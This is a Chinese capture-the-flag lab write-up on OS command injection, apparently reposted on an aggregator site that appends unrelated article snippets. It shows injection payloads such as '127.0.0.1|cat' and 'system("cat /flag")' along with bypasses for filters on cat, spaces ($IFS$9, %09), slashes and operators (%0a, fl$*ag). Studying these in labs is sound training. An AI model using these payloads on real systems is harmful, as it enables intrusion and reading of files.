CTFHUB 命令执行

命令执行

原理:

在编写程序的时候,当碰到要执行系统命令来获取一些信息时,就要调用外部命令的函数,比如php中的exec()、system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令。

利用条件:

1.开发人员调用了能够执行系统命令的函数

2.这个函数的参数可控(即用户能够控制)

3.开发人员没有对该函数的参数进行过滤或过滤不严

常见的拼接符

常见Windows命令

常见Linux命令

例题

eval执行

先打开环境,查看他给的代码,url:/?cmd=system(“ls”);

继续查看cmd=system(“ls /”);’


看到flag,读取cmd=system(“cat /flag_13835”);


命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

看到IP,直接ping:127.0.0.1|ls

得到两个文件,ping第一个:127.0.0.1|cat XXXXX.php

没有什么显示,查看源代码得到flag


过滤cat

过滤了cat命令之后,你还有什么方法能读到 Flag?

这儿过滤的cat,用其他的命令查看文件,其余方法不变

使用head命令查看

过滤空格

过滤了空格,用其他符号代替就行(<,<>,%20(space),%09(tab),$IFS$9,{IFS}),其余方法不变,我用<代替

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

过滤了目录分割符,因此我们不能直接读取,我们可以先ping,再进入文件夹,再列举文件夹的内容

127.0.0.1|ls

127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat XXXXX.php

过滤运算符

过滤了几个运算符, 要怎么绕过呢

||、& 被过滤,不能使用,但并不是所有的运算符都被过滤,使用选取其他运算符就行我使用的是;

综合过滤练习

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

运算符、cat、flag、目录分割符都被过滤了,|用%0a代替

Url:?/127.0.0.1%0als

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_36062524228722.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/505752.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MogaNet实战:使用MogaNet实现图像分类任务(一)

文章目录 摘要安装包安装timm 数据增强Cutout和MixupEMA项目结构计算mean和std生成数据集 摘要 论文&#xff1a;https://arxiv.org/pdf/2211.03295.pdf 作者多阶博弈论交互这一全新视角探索了现代卷积神经网络的表示能力。这种交互反映了不同尺度上下文中变量间的相互作用效…

微信小程序云开发教程——墨刀原型工具入门(编辑页面)

引言 作为一个小白&#xff0c;小北要怎么在短时间内快速学会微信小程序原型设计&#xff1f; “时间紧&#xff0c;任务重”&#xff0c;这意味着学习时必须把握微信小程序原型设计中的重点、难点&#xff0c;而非面面俱到。 要在短时间内理解、掌握一个工具的使用&#xf…

Django 管网项目 三

Django 官网文档 ​​Writing your first Django app, part 2 | Django documentation | Django 本文内容涉及创建视图 View&#xff0c;路由&#xff0c;和模版。并对内容进行渲染。 创建视图 在我们的投票应用中&#xff0c;我们需要下列几个视图&#xff1a; 问题索引页—…

阶跃信号与冲击信号

奇异信号&#xff1a;信号与系统分析中&#xff0c;经常遇到函数本身有不连续点&#xff08;跳变电&#xff09;或其导函数与积分有不连续点的情况&#xff0c;这类函数称为奇异函数或奇异信号&#xff0c;也称之为突变信号。以下为一些常见奇异函数。 奇异信号 单位斜变信号 …

ABAP - SALV教程07 斑马纹显示和SALV标题

SALV设置斑马纹和标题 METHOD set_layout.DATA: lo_display TYPE REF TO cl_salv_display_settings. * 取得显示对象lo_display co_alv->get_display_settings( ).* 设置ZEBRA显示lo_display->set_striped_pattern( X ). * 设置Titlelo_display->set_list_he…

Linux网络字节序/IP地址转换

网络字节序&#xff1a; 大&#xff08;高&#xff09;端字节序&#xff08;网络字节序&#xff09;&#xff1a;低位地址存放高位数据&#xff0c;高位地址存放低位数据 小&#xff08;低&#xff09;端字节序&#xff08;主机字节序&#xff09;&#xff1a;低位地址存放低…

【OpenCV基础(三)】Ubuntu系统下EasyPR环境配置

环境配置 1、资源下载2、环境配置2.1、1、将EasyPR压缩包拷贝到Ubuntu 三种方法任选一种2.2、解压得到EasyPR文件夹(文件夹一层进入后EasyPR资源内容)2.3、终端命令修改权限**chmod -R 777 ./ EasyPR**2.4、查找EasyPR/include/easypr/config.h&#xff0c;使用gedit方式打开2.…

【yolov8部署实战】VS2019环境下使用C++和OpenCV环境部署yolo项目|含详细注释源码

一、前言 之前一阵子一直在做的就是怎么把yolo项目部署成c项目&#xff0c;因为项目需要嵌套进yolo模型跑算法。因为自己也是本科生小白一枚&#xff0c;基本上对这方面没有涉猎过&#xff0c;自己一个人从网上到处搜寻资料&#xff0c;写代码&#xff0c;调试&#xff0c;期间…

【机器学习】CIFAR-10数据集简介、下载方法(自动)

【机器学习】CIFAR-10数据集简介、下载方法(自动) &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1f448; 希望得到您的订阅和支…

SDN和SD-WAN的使用场景分别是什么?

软件定义网络&#xff08;SDN&#xff09;和软件定义广域网&#xff08;SD-WAN&#xff09;是两种创新的网络技术&#xff0c;它们在不同的使用场景中发挥着重要作用。本文将深入探讨SDN和SD-WAN 的使用场景&#xff0c;并比较它们的应用范围。 SDN的使用场景&#xff1a; 数据…

第四十八回 解珍解宝双越狱 孙立孙新大劫牢-Python模块和包概念与使用

吴用对宋江说&#xff0c;有个人&#xff0c;他是石勇的关系&#xff0c;与祝家庄的峦廷玉关系好&#xff0c;还是杨林、邓飞的老相识&#xff0c;他有一计.... 原来在宋江攻打祝家庄的时间段&#xff0c;山东海边登州也发生了一件事。登州山下有一家猎户&#xff0c;弟兄两个…

代码随想录算法刷题训练营day30:LeetCode(332)重新安排行程、LeetCode(51)n-皇后、LeetCode(37)解数独

代码随想录算法刷题训练营day30&#xff1a;LeetCode(332)重新安排行程、LeetCode(51)n-皇后、LeetCode(37)解数独 LeetCode(332)重新安排行程 题目 代码 //第二次刷题---在刷--高难度---注意超时---该代码照着代码随想录卡哥编写的代码写的&#xff0c;题目难度过大&#…